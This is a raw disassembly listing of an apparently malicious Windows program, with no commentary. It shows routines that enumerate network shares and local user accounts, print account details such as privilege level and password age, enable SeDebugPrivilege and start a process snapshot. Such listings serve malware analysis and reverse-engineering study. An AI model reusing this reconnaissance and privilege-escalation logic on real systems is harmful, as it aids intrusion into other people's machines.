		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27205CBh
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2670999h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
